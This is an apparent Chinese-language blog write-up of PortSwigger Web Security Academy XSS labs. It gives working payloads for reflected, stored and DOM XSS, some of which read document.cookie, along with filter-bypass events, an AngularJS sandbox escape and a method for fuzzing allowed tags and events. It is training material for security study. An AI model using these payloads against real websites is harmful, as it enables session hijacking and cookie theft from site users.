bp靶场之xss

靶场链接

https://portswigger.net/web-security/all-labs
xss备忘录:https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

将 XSS 反射到 HTML 上下文中,无需任何编码

搜索123后,url上出现123,页面也直接回显123,说明可能有反射xss

https://0a1a0050044ea608c4717d8200b200b4.web-security-academy.net/?search=<script>alert('1');</script>

将 XSS 存储到 HTML 上下文中,且不包含任何编码

document.write使用源的接收器中的 DOM XSSlocation.search

输入任意内容,打开f12再ctrl+f搜索看回显位置

img标签中也会回显我们的内容,构造"><img src="x" onerror=alert('1')>闭合原img并触发xss

innerHTML使用源的接收器中的 DOM XSSlocation.search

<img src=1 onerror=alert(1)>

使用源在 jQuery 锚点href属性接收器中执行 DOM XSSlocation.search

反馈页面修改returnPath参数实现反射xss
https://0a0600530390dfa08076a86d00b700f7.web-security-academy.net/feedback?returnPath=javascript:alert(document.cookie)

jQuery 选择器接收器中使用 hashchange 事件的 DOM XSS

将 XSS 反射到带有尖括号 HTML 编码的属性中


输入,出现在url中,页面有两处回显。上面的回显中<'>/都被编码了,下面的只有<>被编码。
"onmouseover="alert(1)

href存储型 XSS漏洞利用到带双引号 HTML 编码的锚点属性中

尽可能的插入payload,看看哪里有回显以及每处被编码了哪些标点符号

三处回显,其中后面两处标点符号都被转义了

第一个回显处是<a href="网址">,填网址处写payload:javascript:alert('1')

反射式 XSS 漏洞利用到带有尖括号 HTML 编码的 JavaScript 字符串中

先输入最简单的payload:,ctrl+f搜索回显的地方

官方wp,payload'-alert(1)-'

在 select 元素中document.write使用源在接收器中执行 DOM XSSlocation.search

根据题目,直接f12,ctrl+shift+f全局搜索location.search。直接从url中提取storeId并回显在页面中

在原url后面拼接storeId=qaxtest,可以看到页面中直接回显

拼接

AngularJS 表达式中带有尖括号和双引号的 DOM XSS HTML 编码

就一处回显,标点符号全部被转义

官方wp,payload:{{$on.constructor('alert(1)')()}}

大概意思就是如果被包含ng-app中,可以用ng-app特有的AngularJS 指令来xss

反射 DOM XSS


存储型 DOM XSS

将 XSS 反射到 HTML 上下文中,大多数标签和属性均被阻止


发到intruder模块根据xss备忘录爆破标签,发现仅有body标签可用。body标签常用弹窗payload:,被拦截,再根据xss备忘录爆破事件。
可用事件:

onbeforeinput
onbeforetoggle
ondragexit
onformdata
onpointercancel
onratechange
onresize
onscrollend
onsuspend
onwebkitmouseforcechanged
onwebkitmouseforcedown
onwebkitmouseforceup
onwebkitmouseforcewillbegin
onwebkitplaybacktargetavailabilitychanged
onwebkitwillrevealbottom

将 XSS 反射到 HTML 上下文中,除自定义标签外,所有标签均被阻止


payload:%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';

允许使用一些 SVG 标记的反射型 XSS

按照上面方式fuzz标签、事件,发现onbegin事件可用,构造payload:<svg><animatetransform%20onbegin=alert(1)>

规范链接标签中的反射型 XSS

网页会将url回显在href中,最终导致xss

官方wp

payload:%27accesskey=%27x%27onclick=%27alert(1)
'accesskey='x'onclick='alert(1)第一个单引号用于闭合href,最终网页渲染出来href='https://0a7a007004af13aa80a0ee6d00bf007a.web-security-academy.net/?'accesskey='x'onclick='alert(1)',当按下按键就会触发事件。

反射型 XSS 漏洞存在于带有单引号和反斜杠转义的 JavaScript 字符串中

官方wp:</script><script>alert(1)</script>
重点关注下面的地方没有被转义

反射式 XSS 漏洞存在于带有尖括号和双引号的 JavaScript 字符串中,该字符串经过 HTML 编码,单引号已转义

下面回显处\没有被转义,利用其将转义符号变成普通符号

原本转义单引号,在单引号前面加了一个

\'将转义符\变成普通符号

存储型 XSSonclick事件中带有尖括号和双引号 HTML 编码,以及单引号和反斜杠转义

posted on 2024-11-11 10:12  没名字别找了  阅读(24)  评论(0编辑  收藏  举报

导航